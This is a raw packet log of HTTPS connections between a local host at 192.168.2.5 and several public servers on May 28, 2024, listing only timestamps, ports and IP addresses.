May 28, 2024 00:44:22.160891056 CEST	49717	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.160896063 CEST	443	49715	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.161387920 CEST	443	49719	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.161441088 CEST	49719	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.162372112 CEST	443	49715	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.162425041 CEST	49715	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.162945032 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.163012981 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.163120985 CEST	49718	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.163180113 CEST	443	49718	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.163304090 CEST	443	49714	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.165661097 CEST	49717	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.165760994 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.165956974 CEST	49719	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.166055918 CEST	443	49719	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.166398048 CEST	49715	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.166569948 CEST	443	49715	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.168030977 CEST	49714	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.168047905 CEST	443	49714	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.169158936 CEST	443	49714	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.169228077 CEST	49714	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.173641920 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.173649073 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.173999071 CEST	49718	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.174005032 CEST	443	49718	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.174931049 CEST	49714	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.174999952 CEST	443	49714	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.175323963 CEST	49717	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.175329924 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.175437927 CEST	49719	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.175443888 CEST	443	49719	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.175550938 CEST	49715	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.175560951 CEST	443	49715	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.176094055 CEST	49714	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.176114082 CEST	443	49714	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.216367006 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.216367006 CEST	49717	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.216382027 CEST	49718	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.216382027 CEST	49719	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.216382980 CEST	49715	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.216382980 CEST	49714	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.237397909 CEST	443	49713	195.80.159.133	192.168.2.5
May 28, 2024 00:44:22.237473011 CEST	443	49713	195.80.159.133	192.168.2.5
May 28, 2024 00:44:22.237549067 CEST	49713	443	192.168.2.5	195.80.159.133
May 28, 2024 00:44:22.243421078 CEST	49713	443	192.168.2.5	195.80.159.133
May 28, 2024 00:44:22.243464947 CEST	443	49713	195.80.159.133	192.168.2.5
May 28, 2024 00:44:22.517093897 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.517144918 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.517153025 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.517193079 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.517203093 CEST	49717	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.517216921 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.517227888 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.517250061 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.517262936 CEST	49717	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.517281055 CEST	49717	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.517301083 CEST	49717	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.517638922 CEST	443	49719	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.517709970 CEST	443	49719	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.517925024 CEST	49719	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.525439024 CEST	49719	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.525454998 CEST	443	49719	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.526122093 CEST	49720	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.526206017 CEST	443	49720	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.526293993 CEST	49720	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.528266907 CEST	49720	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.528299093 CEST	443	49720	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.529180050 CEST	49721	443	192.168.2.5	142.250.185.132
May 28, 2024 00:44:22.529202938 CEST	443	49721	142.250.185.132	192.168.2.5
May 28, 2024 00:44:22.529371023 CEST	49721	443	192.168.2.5	142.250.185.132
May 28, 2024 00:44:22.529616117 CEST	49721	443	192.168.2.5	142.250.185.132
May 28, 2024 00:44:22.529638052 CEST	443	49721	142.250.185.132	192.168.2.5
May 28, 2024 00:44:22.542958975 CEST	443	49714	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.542984009 CEST	443	49714	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.542992115 CEST	443	49714	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.543005943 CEST	443	49714	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.543035030 CEST	443	49714	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.543060064 CEST	49714	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.543078899 CEST	443	49714	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.543097019 CEST	49714	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.543119907 CEST	49714	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.553211927 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.553232908 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.553240061 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.553263903 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.553282976 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.553289890 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.553291082 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.553304911 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.553330898 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.553355932 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.555610895 CEST	443	49715	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.556077003 CEST	443	49715	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.556196928 CEST	49715	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.560278893 CEST	49715	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.560297966 CEST	443	49715	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.560746908 CEST	443	49718	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.560756922 CEST	443	49718	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.560767889 CEST	443	49718	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.560781002 CEST	443	49718	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.560791016 CEST	443	49718	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.560796976 CEST	443	49718	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.560811043 CEST	49718	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.560821056 CEST	443	49718	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.560856104 CEST	49718	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.560878038 CEST	49718	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.561187983 CEST	49722	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.561209917 CEST	443	49722	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.561283112 CEST	49722	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.565474987 CEST	49722	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.565499067 CEST	443	49722	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.643110991 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.643129110 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.643196106 CEST	49717	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.643222094 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.643438101 CEST	49717	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.644315958 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.644355059 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.644376993 CEST	49717	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.644382954 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.644418001 CEST	49717	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.644433975 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.644479036 CEST	49717	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.646253109 CEST	49717	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.646265030 CEST	443	49717	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.654196978 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.654211044 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.656168938 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.657979012 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.657989979 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.670587063 CEST	443	49714	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.670681953 CEST	443	49714	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.670691013 CEST	49714	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.670744896 CEST	49714	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.671469927 CEST	49714	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.671483040 CEST	443	49714	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.684734106 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.684747934 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.684819937 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.684833050 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.686079979 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.687506914 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.687521935 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.687611103 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.687611103 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.687621117 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.687664032 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.699691057 CEST	443	49718	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.699712038 CEST	443	49718	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.699767113 CEST	49718	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.699774981 CEST	443	49718	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.699853897 CEST	49718	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.701941013 CEST	443	49718	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.701972961 CEST	443	49718	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.702003002 CEST	49718	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.702006102 CEST	443	49718	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.702030897 CEST	49718	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.702052116 CEST	49718	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.702944040 CEST	49718	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.702955008 CEST	443	49718	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.815896988 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.815931082 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.815977097 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.815995932 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.816024065 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.816036940 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.816941023 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.816958904 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.817011118 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.817019939 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.817053080 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.818506956 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.818525076 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.818597078 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.818604946 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.818656921 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.835355997 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.835372925 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.835421085 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.835428953 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.835455894 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.835477114 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.905258894 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.905309916 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.905364990 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.905385017 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.905407906 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.905442953 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.947668076 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.947685957 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.947755098 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.947793007 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.947876930 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.948720932 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.948734999 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.948791027 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.948798895 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.948827982 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.950412035 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.950431108 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.950474977 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.950483084 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.950508118 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.950524092 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.952210903 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.952224970 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.952279091 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.952287912 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.952425003 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.966993093 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.967009068 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.967075109 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.967082977 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.967108011 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.967134953 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.983021975 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.983072042 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.983097076 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.983104944 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.983129978 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:22.983144999 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.983167887 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.983380079 CEST	49716	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:22.983395100 CEST	443	49716	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.076303005 CEST	49724	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:23.076354980 CEST	443	49724	2.18.97.153	192.168.2.5
May 28, 2024 00:44:23.076468945 CEST	49724	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:23.078084946 CEST	49724	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:23.078104019 CEST	443	49724	2.18.97.153	192.168.2.5
May 28, 2024 00:44:23.114645004 CEST	49674	443	192.168.2.5	23.1.237.91
May 28, 2024 00:44:23.114645004 CEST	49675	443	192.168.2.5	23.1.237.91
May 28, 2024 00:44:23.174707890 CEST	443	49721	142.250.185.132	192.168.2.5
May 28, 2024 00:44:23.175044060 CEST	49721	443	192.168.2.5	142.250.185.132
May 28, 2024 00:44:23.175122976 CEST	443	49721	142.250.185.132	192.168.2.5
May 28, 2024 00:44:23.175977945 CEST	443	49721	142.250.185.132	192.168.2.5
May 28, 2024 00:44:23.176043987 CEST	49721	443	192.168.2.5	142.250.185.132
May 28, 2024 00:44:23.177151918 CEST	49721	443	192.168.2.5	142.250.185.132
May 28, 2024 00:44:23.177216053 CEST	443	49721	142.250.185.132	192.168.2.5
May 28, 2024 00:44:23.203749895 CEST	49673	443	192.168.2.5	23.1.237.91
May 28, 2024 00:44:23.231105089 CEST	49721	443	192.168.2.5	142.250.185.132
May 28, 2024 00:44:23.231116056 CEST	443	49721	142.250.185.132	192.168.2.5
May 28, 2024 00:44:23.278811932 CEST	49721	443	192.168.2.5	142.250.185.132
May 28, 2024 00:44:23.343823910 CEST	443	49720	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.387305021 CEST	49720	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.393537045 CEST	443	49722	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.399811983 CEST	49720	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.399838924 CEST	443	49720	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.400288105 CEST	443	49720	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.415081024 CEST	49722	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.415102959 CEST	443	49722	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.416033983 CEST	49720	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.416109085 CEST	443	49720	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.416307926 CEST	443	49722	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.416491032 CEST	49720	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.416779041 CEST	49722	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.416924000 CEST	49722	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.416958094 CEST	443	49722	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.458523989 CEST	443	49720	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.464653015 CEST	49722	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.510524035 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.517796040 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.517810106 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.518709898 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.518789053 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.538108110 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.538176060 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.538952112 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.538981915 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.589334965 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.722265959 CEST	443	49724	2.18.97.153	192.168.2.5
May 28, 2024 00:44:23.722359896 CEST	49724	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:23.751358986 CEST	443	49722	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.751435041 CEST	443	49722	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.751488924 CEST	49722	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.751518965 CEST	443	49722	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.752310991 CEST	443	49722	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.752367020 CEST	49722	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.760472059 CEST	443	49720	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.760493040 CEST	443	49720	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.760499954 CEST	443	49720	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.760525942 CEST	443	49720	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.760548115 CEST	443	49720	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.760564089 CEST	49720	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.760606050 CEST	49720	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.771017075 CEST	49724	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:23.771059990 CEST	443	49724	2.18.97.153	192.168.2.5
May 28, 2024 00:44:23.771404982 CEST	443	49724	2.18.97.153	192.168.2.5
May 28, 2024 00:44:23.824372053 CEST	49724	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:23.835562944 CEST	49722	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.835623026 CEST	443	49722	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.839360952 CEST	49720	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.839368105 CEST	443	49720	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.845582962 CEST	49725	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.845614910 CEST	443	49725	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.845748901 CEST	49725	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.845973969 CEST	49725	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.845984936 CEST	443	49725	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.884196997 CEST	49724	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:23.885431051 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.885453939 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.885467052 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.885531902 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.885536909 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.885587931 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.885615110 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.885654926 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:23.885689974 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.885689974 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.885689974 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.885725021 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:23.926512003 CEST	443	49724	2.18.97.153	192.168.2.5
May 28, 2024 00:44:24.017738104 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.017759085 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.017837048 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.017901897 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.017940998 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.017965078 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.020329952 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.020347118 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.020385981 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.020400047 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.020436049 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.020456076 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.068635941 CEST	443	49724	2.18.97.153	192.168.2.5
May 28, 2024 00:44:24.068701982 CEST	443	49724	2.18.97.153	192.168.2.5
May 28, 2024 00:44:24.068778038 CEST	49724	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:24.069238901 CEST	49724	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:24.069288015 CEST	443	49724	2.18.97.153	192.168.2.5
May 28, 2024 00:44:24.069318056 CEST	49724	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:24.069339037 CEST	443	49724	2.18.97.153	192.168.2.5
May 28, 2024 00:44:24.150101900 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.150122881 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.150182962 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.150208950 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.150237083 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.150258064 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.151452065 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.151469946 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.151523113 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.151529074 CEST	443	49723	213.180.193.247	192.168.2.5
May 28, 2024 00:44:24.151568890 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.151578903 CEST	49723	443	192.168.2.5	213.180.193.247
May 28, 2024 00:44:24.152077913 CEST	49726	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:24.152137041 CEST	443	49726	2.18.97.153	192.168.2.5
May 28, 2024 00:44:24.152210951 CEST	49726	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:24.152784109 CEST	49726	443	192.168.2.5	2.18.97.153
May 28, 2024 00:44:24.152817011 CEST	443	49726	2.18.97.153	192.168.2.5
May 28, 2024 00:44:24.153117895 CEST	443	49723	213.180.193.247	192.168.2.5
